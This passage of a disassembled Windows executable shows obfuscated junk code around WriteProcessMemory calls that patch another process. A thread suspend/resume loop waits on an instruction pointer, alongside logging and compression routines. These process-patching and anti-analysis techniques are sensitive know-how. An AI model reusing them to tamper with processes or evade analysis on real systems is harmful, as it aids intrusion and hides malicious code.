0Fh ; --------------------------------------------------------------------------- loc_4BDE68: ; CODE XREF: .text:004BDE74j mov ecx, 34F9C987h nop stc jz short loc_4BDE76 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BDE72: ; CODE XREF: .text:004BDE63j xor eax, eax jz short loc_4BDE68 loc_4BDE76: ; CODE XREF: .text:004BDE6Fj ; .text:004BDEE5j mov eax, 4840C987h test eax, eax jnz short loc_4BDE5C loc_4BDE7F: ; CODE XREF: .text:loc_4BDE5Cj jmp near ptr 92B27BE5h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax lea eax, [ebp-4] push eax push 2 lea ecx, [ebp-8] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+8] mov ecx, [eax] push ecx call dword_4ED114 ; WriteProcessMemory jo short loc_4BDEAB jl short loc_4BDEA9 loc_4BDEA6: ; CODE XREF: .text:loc_4BDEA9j ; .text:loc_4BDEABj jmp short loc_4BDEAD ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BDEA9: ; CODE XREF: .text:004BDEA4j jz short loc_4BDEA6 loc_4BDEAB: ; CODE XREF: .text:004BDEA2j jmp short loc_4BDEA6 ; --------------------------------------------------------------------------- loc_4BDEAD: ; CODE XREF: .text:loc_4BDEA6j jmp short loc_4BDF0E ; --------------------------------------------------------------------------- loc_4BDEAF: ; CODE XREF: .text:004BDE1Bj lea edx, [ebp-4] push edx push 2 push offset dword_4F45AC mov eax, [ebp+10h] push eax mov ecx, [ebp+8] mov edx, [ecx] push edx call dword_4ED114 ; WriteProcessMemory push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BDF01 ; CODE XREF: .text:loc_4BDF01j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BDED9: ; CODE XREF: .text:004BDEFAj jmp short loc_4BDEF8 ; --------------------------------------------------------------------------- loc_4BDEDB: ; CODE XREF: .text:loc_4BDEF8j xor ecx, ecx loc_4BDEDD: ; CODE XREF: .text:004BDEECj jz short $+2 jmp short loc_4BDEF1 ; --------------------------------------------------------------------------- loc_4BDEE1: ; CODE XREF: .text:004BDEF5j stc xor ecx, 3 jz short near ptr loc_4BDE76+1 jmp short loc_4BDEEE ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BDEEA: ; CODE XREF: .text:loc_4BDEEEj jmp short loc_4BDEFC ; --------------------------------------------------------------------------- jz short loc_4BDEDD loc_4BDEEE: ; CODE XREF: .text:004BDEE7j jnb short loc_4BDEEA ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BDEF1: ; CODE XREF: .text:004BDEDFj sbb bl, bl xor ebx, ebx jmp short loc_4BDEE1 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BDEF8: ; CODE XREF: .text:loc_4BDED9j jmp short loc_4BDEDB ; --------------------------------------------------------------------------- jmp short loc_4BDED9 ; --------------------------------------------------------------------------- loc_4BDEFC: ; CODE XREF: .text:loc_4BDEEAj repne sbb al, 0DBh jmp short loc_4BDF04 ; --------------------------------------------------------------------------- loc_4BDF01: ; CODE XREF: .text:004BDED4j jmp short near ptr loc_4BDED4+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BDF04: ; CODE XREF: .text:004BDEFFj popa popf bswap eax not ecx bswap eax not ecx loc_4BDF0E: ; CODE XREF: .text:loc_4BDEADj mov al, 1 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BDF17 proc near ; CODE XREF: .text:004B9B4Cp Dst = dword ptr -2CCh var_214 = dword ptr -214h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2CCh loc_4BDF20: ; CODE XREF: sub_4BDF17:loc_4BDF9Ej mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_4B7C87 add esp, 4 and eax, 0FFh test eax, eax jz short loc_4BDFA0 mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call dword_4ED0F0 ; ResumeThread push 64h call dword_4ED1A4 ; Sleep mov ecx, [ebp+arg_0] mov edx, [ecx+4] push edx call dword_4ED1C8 ; SuspendThread push 2CCh ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset_0 add esp, 0Ch mov [ebp+Dst], 10001h lea ecx, [ebp+Dst] push ecx mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call dword_4ED0E0 ; GetThreadContext test eax, eax jz short loc_4BDF9E mov ecx, [ebp+var_214] cmp ecx, [ebp+arg_4] jnz short loc_4BDF9E jmp short loc_4BDFA0 ; --------------------------------------------------------------------------- loc_4BDF9E: ; CODE XREF: sub_4BDF17+78j ; sub_4BDF17+83j jmp short loc_4BDF20 ; --------------------------------------------------------------------------- loc_4BDFA0: ; CODE XREF: sub_4BDF17+1Ej ; sub_4BDF17+85j mov esp, ebp pop ebp retn sub_4BDF17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BDFA4 proc near ; CODE XREF: .text:004B85E8p var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_38 = dword ptr -38h Dst = dword ptr -34h var_30 = dword ptr -30h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebp mov ebp, esp sub esp, 6Ch push 34h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset_0 add esp, 0Ch mov [ebp+Dst], 34h mov [ebp+var_30], 108h mov [ebp+var_1C], 1 lea ecx, [ebp+var_68] mov [ebp+var_14], ecx mov [ebp+var_10], offset sub_4BE034 push 30h ; Size push 0 ; Val lea edx, [ebp+var_68] push edx ; Dst call _memset_0 add esp, 0Ch mov [ebp+var_68], 30h mov [ebp+var_64], 0 push offset aComctl32_dll ; "COMCTL32.DLL" call dword_4ED07C ; LoadLibraryA mov [ebp+var_38], eax cmp [ebp+var_38], 0 jz short loc_4BE030 push offset aPropertysheeta ; "PropertySheetA" mov eax, [ebp+var_38] push eax call dword_4ED074 ; GetProcAddress mov [ebp+var_6C], eax cmp [ebp+var_6C], 0 jz short loc_4BE030 lea ecx, [ebp+Dst] push ecx call [ebp+var_6C] add esp, 4 loc_4BE030: ; CODE XREF: sub_4BDFA4+68j ; sub_4BDFA4+80j mov esp, ebp pop ebp retn sub_4BDFA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BE034 proc near ; DATA XREF: sub_4BDFA4+31o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_4], 1 jnz short loc_4BE072 push 4Eh call dword_4ED1FC ; GetSystemMetrics mov [ebp+var_4], eax push 4Fh call dword_4ED1FC ; GetSystemMetrics mov [ebp+var_8], eax push 1 push 0 push 0 mov eax, [ebp+var_8] shl eax, 1 push eax mov ecx, [ebp+var_4] shl ecx, 1 push ecx mov edx, [ebp+arg_0] push edx call dword_4ED1D8 ; MoveWindow loc_4BE072: ; CODE XREF: sub_4BE034+Aj xor eax, eax mov esp, ebp pop ebp retn 0Ch sub_4BE034 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BE07A proc near ; CODE XREF: .text:loc_4B85EDp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aComctl32_dll ; "COMCTL32.DLL" call dword_4ED07C ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4BE0D4 push offset a_trackmouseeve ; "_TrackMouseEvent" mov eax, [ebp+var_4] push eax call dword_4ED074 ; GetProcAddress mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4BE0D4 mov [ebp+var_18], 10h mov [ebp+var_14], 40000000h call dword_4ED1D4 ; GetDesktopWindow mov [ebp+var_10], eax mov [ebp+var_C], 0FFFFFFFFh lea ecx, [ebp+var_18] push ecx call [ebp+var_8] add esp, 4 loc_4BE0D4: ; CODE XREF: sub_4BE07A+18j ; sub_4BE07A+30j mov esp, ebp pop ebp retn sub_4BE07A endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp movsx eax, byte_4F47C0 test eax, eax jnz short loc_4BE0F3 call sub_4BE1B4 loc_4BE0F3: ; CODE XREF: .text:004BE0ECj mov ecx, [ebp+8] and ecx, 0FFh test ecx, ecx jz loc_4BE185 cmp dword_4F49C8, 0 jnz short loc_4BE185 xor edx, edx mov dl, byte_4F47BC test edx, edx jnz short loc_4BE185 xor eax, eax mov al, byte_4F47BD test eax, eax jnz short loc_4BE185 push 0 push 0 call dword_4ED050 ; GetModuleHandleA push eax push 0 push 0 push 80000000h push 80000000h push 80000000h push 80000000h push 10F45100h push offset byte_4F47C0 push offset aListbox ; "LISTBOX" push 40000h call dword_4ED250 ; CreateWindowExA mov dword_4F49C8, eax cmp dword_4F49C8, 0 jnz short loc_4BE183 call dword_4ED078 ; RtlGetLastWin32Error push eax push offset aRaidErrorUCrea ; "RAID error %u creating listwindow, reve"... call sub_4BE234 add esp, 8 loc_4BE183: ; CODE XREF: .text:004BE16Dj jmp short loc_4BE1B2 ; --------------------------------------------------------------------------- loc_4BE185: ; CODE XREF: .text:004BE0FEj ; .text:004BE10Bj ... mov ecx, [ebp+8] and ecx, 0FFh test ecx, ecx jnz short loc_4BE1B2 cmp dword_4F49C8, 0 jz short loc_4BE1B2 mov edx, dword_4F49C8 push edx call dword_4ED228 ; DestroyWindow mov dword_4F49C8, 0 loc_4BE1B2: ; CODE XREF: .text:loc_4BE183j ; .text:004BE190j ... pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BE1B4 proc near ; CODE XREF: .text:004BE0EEp ; sub_4BE283+Fp Source = dword ptr -10Ch Str = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10Ch movsx eax, byte_4F48C4 test eax, eax jnz short loc_4BE1D4 push 0 push 0 call sub_4BE373 add esp, 8 loc_4BE1D4: ; CODE XREF: sub_4BE1B4+12j push offset byte_4F48C4 ; Source lea ecx, [ebp+Str] push ecx ; Dest call _strcpy_0 add esp, 8 push 5Ch ; Ch lea edx, [ebp+Str] push edx ; Str call _strrchr_0 add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4BE210 mov eax, [ebp+var_4] add eax, 1 mov [ebp+Source], eax jmp short loc_4BE21C ; --------------------------------------------------------------------------- loc_4BE210: ; CODE XREF: sub_4BE1B4+4Cj lea ecx, [ebp+Str] mov [ebp+Source], ecx loc_4BE21C: ; CODE XREF: sub_4BE1B4+5Aj mov edx, [ebp+Source] push edx ; Source push offset byte_4F47C0 ; Dest call _strcpy_0 add esp, 8 mov esp, ebp pop ebp retn sub_4BE1B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4BE234(char *Format,char) sub_4BE234 proc near ; CODE XREF: .text:004BE17Bp Args = dword ptr -2004h Dest = byte ptr -2000h Format = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 2004h call __alloca_probe_0 lea eax, [ebp+arg_4] mov [ebp+Args], eax mov ecx, [ebp+Args] push ecx ; Args mov edx, [ebp+Format] push edx ; Format lea eax, [ebp+Dest] push eax ; Dest call _vsprintf add esp, 0Ch mov [ebp+Args], 0 lea ecx, [ebp+Dest] push ecx push 0 call sub_4BE283 add esp, 8 mov esp, ebp pop ebp retn sub_4BE234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BE283 proc near ; CODE XREF: sub_4BE234+43p ; .text:004BE367p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx movsx eax, byte_4F47C0 test eax, eax jnz short loc_4BE297 call sub_4BE1B4 loc_4BE297: ; CODE XREF: sub_4BE283+Dj xor ecx, ecx mov cl, byte_4F47BD test ecx, ecx jnz short loc_4BE31E xor edx, edx mov dl, byte_4F47BC test edx, edx jnz short loc_4BE31E cmp dword_4F49C8, 0 jz short loc_4BE2F9 mov eax, [ebp+arg_4] push eax push 0 push 180h mov ecx, dword_4F49C8 push ecx call dword_4ED25C ; SendMessageA mov [ebp+var_4], eax push 0 mov edx, [ebp+var_4] push edx push 186h mov eax, dword_4F49C8 push eax call dword_4ED25C ; SendMessageA mov ecx, dword_4F49C8 push ecx call dword_4ED214 ; UpdateWindow jmp short loc_4BE31E ; --------------------------------------------------------------------------- loc_4BE2F9: ; CODE XREF: sub_4BE283+33j push 10001h push offset byte_4F47C0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4ED22C ; MessageBoxA cmp eax, 2 jnz short loc_4BE31E push 1 call dword_4ED118 ; ExitProcess loc_4BE31E: ; CODE XREF: sub_4BE283+1Ej ; sub_4BE283+2Aj ... mov esp, ebp pop ebp retn sub_4BE283 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2004h call __alloca_probe_0 lea eax, [ebp+10h] mov [ebp-2004h], eax mov ecx, [ebp-2004h] push ecx mov edx, [ebp+0Ch] push edx lea eax, [ebp-2000h] push eax call _vsprintf add esp, 0Ch mov dword ptr [ebp-2004h], 0 lea ecx, [ebp-2000h] push ecx mov edx, [ebp+8] push edx call sub_4BE283 add esp, 8 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BE373 proc near ; CODE XREF: WinMain(x,x,x,x)+3Fp ; .text:004B8515p ... Dest = dword ptr -10Ch var_108 = dword ptr -108h Str = byte ptr -104h var_103 = byte ptr -103h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10Ch push edi cmp [ebp+arg_0], 0 jnz short loc_4BE38E push 0 call dword_4ED050 ; GetModuleHandleA mov [ebp+arg_0], eax loc_4BE38E: ; CODE XREF: sub_4BE373+Ej mov al, byte_4F4120 mov [ebp+Str], al mov ecx, 40h xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb push 104h lea ecx, [ebp+Str] push ecx mov edx, [ebp+arg_0] push edx call dword_4ED1C4 ; GetModuleFileNameA push 5Ch ; Ch lea eax, [ebp+Str] push eax ; Str call _strrchr_0 add esp, 8 mov [ebp+var_108], eax cmp [ebp+var_108], 0 jnz short loc_4BE3ED lea ecx, [ebp+Str] mov [ebp+var_108], ecx loc_4BE3ED: ; CODE XREF: sub_4BE373+6Cj push 2Eh ; Ch lea edx, [ebp+Str] push edx ; Str call _strrchr_0 add esp, 8 mov [ebp+Dest], eax cmp [ebp+Dest], 0 jz short loc_4BE41B mov eax, [ebp+Dest] cmp eax, [ebp+var_108] jnb short loc_4BE432 loc_4BE41B: ; CODE XREF: sub_4BE373+98j push 0 ; Val lea ecx, [ebp+Str] push ecx ; Str call _strchr_0 add esp, 8 mov [ebp+Dest], eax loc_4BE432: ; CODE XREF: sub_4BE373+A6j cmp [ebp+arg_4], 0 jz short loc_4BE467 mov edx, [ebp+arg_4] push edx push offset aU ; "-%u" mov eax, [ebp+Dest] push eax ; Dest call _sprintf_0 add esp, 0Ch push 0 ; Val mov ecx, [ebp+Dest] push ecx ; Str call _strchr_0 add esp, 8 mov [ebp+Dest], eax loc_4BE467: ; CODE XREF: sub_4BE373+C3j push offset a_dbglog ; ".DbgLog" mov edx, [ebp+Dest] push edx ; Dest call _strcpy_0 add esp, 8 lea eax, [ebp+Str] push eax ; Source push offset byte_4F48C4 ; Dest call _strcpy_0 add esp, 8 pop edi mov esp, ebp pop ebp retn sub_4BE373 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 40h lea eax, [ebp-40h] push eax call dword_4ED11C ; GetLocalTime lea ecx, [ebp-4] push ecx call _time_0 add esp, 4 lea edx, [ebp-4] push edx call _localtime add esp, 4 push eax push offset aC ; "%c" push 2Ch lea eax, [ebp-30h] push eax call sub_4C9743 add esp, 10h mov ecx, [ebp-32h] and ecx, 0FFFFh push ecx lea edx, [ebp-30h] push edx push offset aS_03d ; "%s.%03d" push offset dword_4F4794 call _sprintf_0 add esp, 10h push offset asc_4EDDD0 ; " --- " push offset dword_4F4794 call _strcat_0 add esp, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BE510 proc near ; CODE XREF: .text:004902E9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 0 push 8 push 0Fh push 8 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4BE535 add esp, 20h pop ebp retn sub_4BE510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BE535 proc near ; CODE XREF: sub_4BE510+1Bp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], 0 cmp [ebp+arg_18], 0 jz short loc_4BE561 mov eax, [ebp+arg_18] movsx ecx, byte ptr [eax] mov edx, off_4EDDE4 movsx eax, byte ptr [edx] cmp ecx, eax jnz short loc_4BE561 cmp [ebp+arg_1C], 38h jz short loc_4BE56B loc_4BE561: ; CODE XREF: sub_4BE535+11j ; sub_4BE535+24j mov eax, 0FFFFFFFAh jmp loc_4BE81D ; --------------------------------------------------------------------------- loc_4BE56B: ; CODE XREF: sub_4BE535+2Aj cmp [ebp+arg_0], 0 jnz short loc_4BE57B mov eax, 0FFFFFFFEh jmp loc_4BE81D ; --------------------------------------------------------------------------- loc_4BE57B: ; CODE XREF: sub_4BE535+3Aj mov ecx, [ebp+arg_0] mov dword ptr [ecx+18h], 0 mov edx, [ebp+arg_0] cmp dword ptr [edx+20h], 0 jnz short loc_4BE5A2 mov eax, [ebp+arg_0] mov dword ptr [eax+20h], offset sub_4C169E mov ecx, [ebp+arg_0] mov dword ptr [ecx+28h], 0 loc_4BE5A2: ; CODE XREF: sub_4BE535+57j mov edx, [ebp+arg_0] cmp dword ptr [edx+24h], 0 jnz short loc_4BE5B5 mov eax, [ebp+arg_0] mov dword ptr [eax+24h], offset sub_4C16C7 loc_4BE5B5: ; CODE XREF: sub_4BE535+74j cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_4BE5C2 mov [ebp+arg_4], 6 loc_4BE5C2: ; CODE XREF: sub_4BE535+84j cmp [ebp+arg_C], 0 jge short loc_4BE5D7 mov [ebp+var_C], 1 mov ecx, [ebp+arg_C] neg ecx mov [ebp+arg_C], ecx loc_4BE5D7: ; CODE XREF: sub_4BE535+91j cmp [ebp+arg_10], 1 jl short loc_4BE60D cmp [ebp+arg_10], 9 jg short loc_4BE60D cmp [ebp+arg_8], 8 jnz short loc_4BE60D cmp [ebp+arg_C], 9 jl short loc_4BE60D cmp [ebp+arg_C], 0Fh jg short loc_4BE60D cmp [ebp+arg_4], 0 jl short loc_4BE60D cmp [ebp+arg_4], 9 jg short loc_4BE60D cmp [ebp+arg_14], 0 jl short loc_4BE60D cmp [ebp+arg_14], 2 jle short loc_4BE617 loc_4BE60D: ; CODE XREF: sub_4BE535+A6j ; sub_4BE535+ACj ... mov eax, 0FFFFFFFEh jmp loc_4BE81D ; --------------------------------------------------------------------------- loc_4BE617: ; CODE XREF: sub_4BE535+D6j push 16B8h push 1 mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+20h] add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4BE641 mov eax, 0FFFFFFFCh jmp loc_4BE81D ; --------------------------------------------------------------------------- loc_4BE641: ; CODE XREF: sub_4BE535+100j mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+1Ch], eax mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+18h], ecx mov edx, [ebp+var_8] mov eax, [ebp+arg_C] mov [edx+28h], eax mov ecx, [ebp+var_8] mov edx, 1 mov ecx, [ecx+28h] shl edx, cl mov eax, [ebp+var_8] mov [eax+24h], edx mov ecx, [ebp+var_8] mov edx, [ecx+24h] sub edx, 1 mov eax, [ebp+var_8] mov [eax+2Ch], edx mov ecx, [ebp+arg_10] add ecx, 7 mov edx, [ebp+var_8] mov [edx+48h], ecx mov eax, [ebp+var_8] mov edx, 1 mov ecx, [eax+48h] shl edx, cl mov eax, [ebp+var_8] mov [eax+44h], edx mov ecx, [ebp+var_8] mov edx, [ecx+44h] sub edx, 1 mov eax, [ebp+var_8] mov [eax+4Ch], edx mov ecx, [ebp+var_8] mov eax, [ecx+48h] add eax, 2 xor edx, edx mov ecx, 3 div ecx mov edx, [ebp+var_8] mov [edx+50h], eax push 2 mov eax, [ebp+var_8] mov ecx, [eax+24h] push ecx mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+20h] add esp, 0Ch mov edx, [ebp+var_8] mov [edx+30h], eax push 2 mov eax, [ebp+var_8] mov ecx, [eax+24h] push ecx mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+20h] add esp, 0Ch mov edx, [ebp+var_8] mov [edx+38h], eax push 2 mov eax, [ebp+var_8] mov ecx, [eax+44h] push ecx mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+20h] add esp, 0Ch mov edx, [ebp+var_8] mov [edx+3Ch], eax mov ecx, [ebp+arg_10] add ecx, 6 mov eax, 1 shl eax, cl mov ecx, [ebp+var_8] mov [ecx+1694h], eax push 4 mov edx, [ebp+var_8] mov eax, [edx+1694h] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+20h] add esp, 0Ch mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [ecx+8], edx mov eax, [ebp+var_8] mov ecx, [eax+1694h] shl ecx, 2 mov edx, [ebp+var_8] mov [edx+0Ch], ecx mov eax, [ebp+var_8] cmp dword ptr [eax+30h], 0 jz short loc_4BE79D mov ecx, [ebp+var_8] cmp dword ptr [ecx+38h], 0 jz short loc_4BE79D mov edx, [ebp+var_8] cmp dword ptr [edx+3Ch], 0 jz short loc_4BE79D mov eax, [ebp+var_8] cmp dword ptr [eax+8], 0 jnz short loc_4BE7BC loc_4BE79D: ; CODE XREF: sub_4BE535+24Bj ; sub_4BE535+254j ... mov ecx, [ebp+arg_0] mov edx, off_4EDE80 mov [ecx+18h], edx mov eax, [ebp+arg_0] push eax call sub_4BF045 add esp, 4 mov eax, 0FFFFFFFCh jmp short loc_4BE81D ; --------------------------------------------------------------------------- loc_4BE7BC: ; CODE XREF: sub_4BE535+266j mov ecx, [ebp+var_8] mov edx, [ecx+1694h] shr edx, 1 mov eax, [ebp+var_4] lea ecx, [eax+edx*2] mov edx, [ebp+var_8] mov [edx+169Ch], ecx mov eax, [ebp+var_8] mov ecx, [eax+1694h] imul ecx, 3 mov edx, [ebp+var_8] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+var_8] mov [ecx+1690h], eax mov edx, [ebp+var_8] mov eax, [ebp+arg_4] mov [edx+7Ch], eax mov ecx, [ebp+var_8] mov edx, [ebp+arg_14] mov [ecx+80h], edx mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_8] mov [eax+1Dh], cl mov edx, [ebp+arg_0] push edx call sub_4BE9C1 add esp, 4 loc_4BE81D: ; CODE XREF: sub_4BE535+31j ; sub_4BE535+41j ... mov esp, ebp pop ebp retn sub_4BE535 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push ebx mov eax, [ebp+10h] mov [ebp-8], eax mov dword ptr [ebp-0Ch], 0 cmp dword ptr [ebp+8], 0 jz short loc_4BE856 mov ecx, [ebp+8] cmp dword ptr [ecx+1Ch], 0 jz short loc_4BE856 cmp dword ptr [ebp+0Ch], 0 jz short loc_4BE856 mov edx, [ebp+8] mov eax, [edx+1Ch] cmp dword ptr [eax+4], 2Ah jz short loc_4BE860 loc_4BE856: ; CODE XREF: .text:004BE839j ; .text:004BE842j ... mov eax, 0FFFFFFFEh jmp loc_4BE9BC ; --------------------------------------------------------------------------- loc_4BE860: ; CODE XREF: .text:004BE854j mov ecx, [ebp+8] mov edx, [ecx+1Ch] mov [ebp-4], edx mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] mov eax, [edx+30h] push eax call sub_4C16E0 add esp, 0Ch mov ecx, [ebp+8] mov [ecx+30h], eax cmp dword ptr [ebp-8], 3 jnb short loc_4BE893 xor eax, eax jmp loc_4BE9BC ; --------------------------------------------------------------------------- loc_4BE893: ; CODE XREF: .text:004BE88Aj mov edx, [ebp-4] mov eax, [edx+24h] sub eax, 106h cmp [ebp-8], eax jbe short loc_4BE8C0 mov ecx, [ebp-4] mov edx, [ecx+24h] sub edx, 106h mov [ebp-8], edx mov eax, [ebp+10h] sub eax, [ebp-8] mov ecx, [ebp+0Ch] add ecx, eax mov [ebp+0Ch], ecx loc_4BE8C0: ; CODE XREF: .text:004BE8A1j mov edx, [ebp-8] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] mov edx, [ecx+30h] push edx call _memcpy_1 add esp, 0Ch mov eax, [ebp-4] mov ecx, [ebp-8] mov [eax+64h], ecx mov edx, [ebp-4] mov eax, [ebp-8] mov [edx+54h], eax mov ecx, [ebp-4] mov edx, [ecx+30h] xor eax, eax mov al, [edx] mov ecx, [ebp-4] mov [ecx+40h], eax mov edx, [ebp-4] mov eax, [ebp-4] mov edx, [edx+40h] mov ecx, [eax+50h] shl edx, cl mov eax, [ebp-4] mov ecx, [eax+30h] xor eax, eax mov al, [ecx+1] xor edx, eax mov ecx, [ebp-4] and edx, [ecx+4Ch] mov eax, [ebp-4] mov [eax+40h], edx mov dword ptr [ebp-10h], 0 jmp short loc_4BE932 ; --------------------------------------------------------------------------- loc_4BE929: ; CODE XREF: .text:004BE9A8j mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_4BE932: ; CODE XREF: .text:004BE927j mov edx, [ebp-8] sub edx, 3 cmp [ebp-10h], edx ja short loc_4BE9AD mov eax, [ebp-4] mov ecx, [ebp-4] mov edx, [eax+40h] mov ecx, [ecx+50h] shl edx, cl mov eax, [ebp-4] mov ecx, [eax+30h] mov eax, [ebp-10h] xor ebx, ebx mov bl, [ecx+eax+2] xor edx, ebx mov ecx, [ebp-4] and edx, [ecx+4Ch] mov eax, [ebp-4] mov [eax+40h], edx mov ecx, [ebp-4] mov edx, [ecx+40h] mov eax, [ebp-4] mov ecx, [eax+3Ch] xor eax, eax mov ax, [ecx+edx*2] mov [ebp-0Ch], eax mov ecx, [ebp-4] mov edx, [ebp-10h] and edx, [ecx+2Ch] mov eax, [ebp-4] mov ecx, [eax+38h] mov ax, [ebp-0Ch] mov [ecx+edx*2], ax mov ecx, [ebp-4] mov edx, [ecx+40h] mov eax, [ebp-4] mov ecx, [eax+3Ch] mov ax, [ebp-10h] mov [ecx+edx*2], ax jmp loc_4BE929 ; --------------------------------------------------------------------------- loc_4BE9AD: ; CODE XREF: .text:004BE93Bj cmp dword ptr [ebp-0Ch], 0 jz short loc_4BE9BA mov dword ptr [ebp-0Ch], 0 loc_4BE9BA: ; CODE XREF: .text:004BE9B1j xor eax, eax loc_4BE9BC: ; CODE XREF: .text:004BE85Bj ; .text:004BE88Ej pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BE9C1 proc near ; CODE XREF: sub_4BE535+2E0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jz short loc_4BE9E6 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jz short loc_4BE9E6 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+20h], 0 jz short loc_4BE9E6 mov edx, [ebp+arg_0] cmp dword ptr [edx+24h], 0 jnz short loc_4BE9F0 loc_4BE9E6: ; CODE XREF: sub_4BE9C1+8j ; sub_4BE9C1+11j ... mov eax, 0FFFFFFFEh jmp loc_4BEA8E ; --------------------------------------------------------------------------- loc_4BE9F0: ; CODE XREF: sub_4BE9C1+23j mov eax, [ebp+arg_0] mov dword ptr [eax+14h], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+18h], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+2Ch], 2 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax+14h], 0 mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [edx+8] mov [ecx+10h], eax mov ecx, [ebp+var_4] cmp dword ptr [ecx+18h], 0 jge short loc_4BEA4A mov edx, [ebp+var_4] mov dword ptr 